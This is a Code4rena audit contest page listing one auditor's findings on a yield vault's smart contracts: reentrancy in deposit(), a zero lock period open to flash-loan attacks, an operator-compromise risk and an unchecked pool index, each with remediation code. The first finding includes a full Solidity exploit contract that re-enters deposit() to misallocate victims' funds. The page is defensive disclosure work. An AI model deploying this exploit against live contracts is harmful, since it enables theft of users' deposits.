Platform: Code4rena
Start Date: 06/01/2022
Pot Size: $60,000 USDC
Total HM: 20
Participants: 33
Period: 7 days
Judge: LSDan
Total Solo HM: 9
Id: 67
League: ETH
Rank: 10/33
Findings: 4
Award: $2,274.90
🌟 Selected for report: 2
🚀 Solo Findings: 0
90.0579 USDC - $90.06
hickuphh3
The deposit()
function does not have reentrancy protection. This allows reentrancy to occur through the implementation of a malicious claim’s beneficiary onDepositMinted()
function that will cause all users’ deposits to be erroneously interpreted as yield instead.
Specifically, while shares for the first deposit have been minted, funds have not been transferred when reentrancy occurs. Hence, the shares calculated for the reentrant deposit use a lower totalUnderlyingMinusSponsored()
than expected, resulting in more claim shares minted.
A gist of the attack script and contract is attached here.
Bob writes (rather, I wrote =p) the following malicious beneficiary contract.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import '../integrations/IIntegration.sol'; import '../vault/IVault.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; import '@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol'; contract MintAttack is IIntegration, ERC165, ERC721Holder { address public admin; uint256 public amount; constructor(address _admin) { admin = _admin; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IIntegration).interfaceId || super.supportsInterface(interfaceId); } function setAmount(uint256 _amount) external { amount = _amount; } function giveAllowance(IERC20 token, address to) external { token.approve(to, type(uint256).max); } function setApprovalToAdmin(IERC721 depositor) external { depositor.setApprovalForAll(admin, true); } function onDepositMinted( uint256 _depositID, uint256 _shares, bytes memory _data ) external returns (bytes4) { // do deposit IVault.ClaimParams memory claimParam = IVault.ClaimParams({ pct: 10_000, beneficiary: admin, data: '0x' }); IVault.ClaimParams[] memory claimParams = new IVault.ClaimParams[](1); claimParams[0] = claimParam; IVault(msg.sender).deposit( IVault.DepositParams({ amount: amount, claims: claimParams, lockedUntil: 0 }) ); return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)")); } function onDepositBurned( uint256 _depositID ) external returns (bytes4) { return bytes4(keccak256("onDepositBurned(uint256)")); } }
deposit()
with 1000
DAI (underlying token).10_000
DAI into the malicious contract, then calls deposit()
with 10_000
DAI with the malicious contract as the beneficiary (depositing a total of 20_000
DAI).We see disastrous results:
Vault: cannot withdraw more than the available amount
. Executing a forced withdrawal results in her only receiving ~173
DAI in return (about 82.7%
loss).9090
DAI in yield (loss in deposits, but made up with claims).We therefore see that a portion of both users’ deposits are considered as yield as a result of this attack.
Import and use OpenZeppelin’s reentrancy guard for crucial user actions (deposits, claiming yields and withdrawals).
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
#0 - naps62
2022-01-13T12:48:38Z
duplicate of #3
hickuphh3
It is critical to ensure that _minLockPeriod > 0
because it is immutable and cannot be changed once set. A zero minLockPeriod
will allow for flash loan attacks to occur. Vaults utilising the nonUST strategy are especially susceptible to this attack vector since the strategy utilises the spot price of the pool to calculate the total asset value.
Assume the vault’s underlying token is MIM, and the curve pool to be used is the MIM-UST pool. Further assume that both the vault and the strategy holds substantial funds in MIM and UST respectively.
curvePool.get_dy_underlying(ustI, underlyingI, ustAssets);
to return a smaller amount than expected because of the previous step. As a result, the attacker is allocated more shares than expected.Ensure that _minLockPeriod
is non-zero in the constructor. Also, given how manipulatable the spot price of the pool can be, it would be wise to consider an alternative price feed.
// in Vault#constructor require(_minLockPeriod > 0, 'zero minLockPeriod');
#0 - naps62
2022-01-13T20:01:50Z
duplicate of #65
#1 - dmvt
2022-01-27T21:40:56Z
#65 is a duplicate of this given that this issue's description is better
hickuphh3
Withdrawals are processed solely with funds that are held by the vault. Should there be insufficient liquidity (Eg. many withdrawals in a short time), users have to rely on a trusted party (operator) to move funds from the investment strategy to the vault.
As long as one operator is compromised, that operator can remove all other authorized parties to make himself to be the sole operator. Funds are then held hostage by the hacker (refuse to call withdrawToVault()
on the strategy until a ransom is paid, for instance).
Strategies (BaseStrategy) have a withdrawToVault()
function. This should be utilised to attempt to withdraw any shortfall between a user’s withdrawal amount and the underlying token balance of the vault.
function _withdraw( address _to, uint256[] memory _ids, bool _force ) internal { ... uint256 currentBalance = underlying.balanceOf(address(this)); if (amount > currentBalance) { // attempt to withdraw shortfall to vault strategy.withdrawToVault(amount - currentBalance); } underlying.safeTransfer(_to, amount); } // TODO: do likewise for _unsponsor
#0 - naps62
2022-01-13T19:50:23Z
The overall issue described here is of an operator being compromised, and removing authorization from other operators. That's a duplicate of #132
🌟 Selected for report: hickuphh3
590.4972 USDC - $590.50
hickuphh3
It is crucial to verify the correctness of the UST index passed in _ustI
. Otherwise, a malicious party can cause funds to be exchanged to a stablecoin that is neither UST nor the underlying token. Since there is no way to exchange it back to the underlying nor rescue the funds, all converted funds would be permanently trapped in the strategy contract.
For now, the proposed attack vector is not feasible because it requires a pool of minimally 3 indexes, while the UST curve pools with good liquidity are the UST-3CRV and UST-MIM pools which have only 2 indexes each.
0
as the _ustI
value and goes unnoticed. A malicious party notices the error and would like to cause griefing. The malicious party sends 1 wei of UST to the strategy. This is to ensure that the non-zero UST balance check in _initDepositStable()
passes.function _initDepositStable() internal { uint256 ustBalance = _getUstBalance(); require(ustBalance > 0, "balance 0"); ... }
updateInvested()
is called, sending the MIM funds to the strategy contract and converted presumably to UST. However, they are converted to sUSD instead. There is no way to convert sUSD back to UST because no allowance is given to the curve pool. There is also no function that allows for funds to be rescued.It will probably be good to verify the correctness of the _ustI
index. This has an additional benefit of verifying the correctness of the curve pool used.
require(ICurve(_curvePool).coins(_ustI) == ustToken, "incorrect _ustI or pool");
#0 - naps62
2022-04-06T08:29:06Z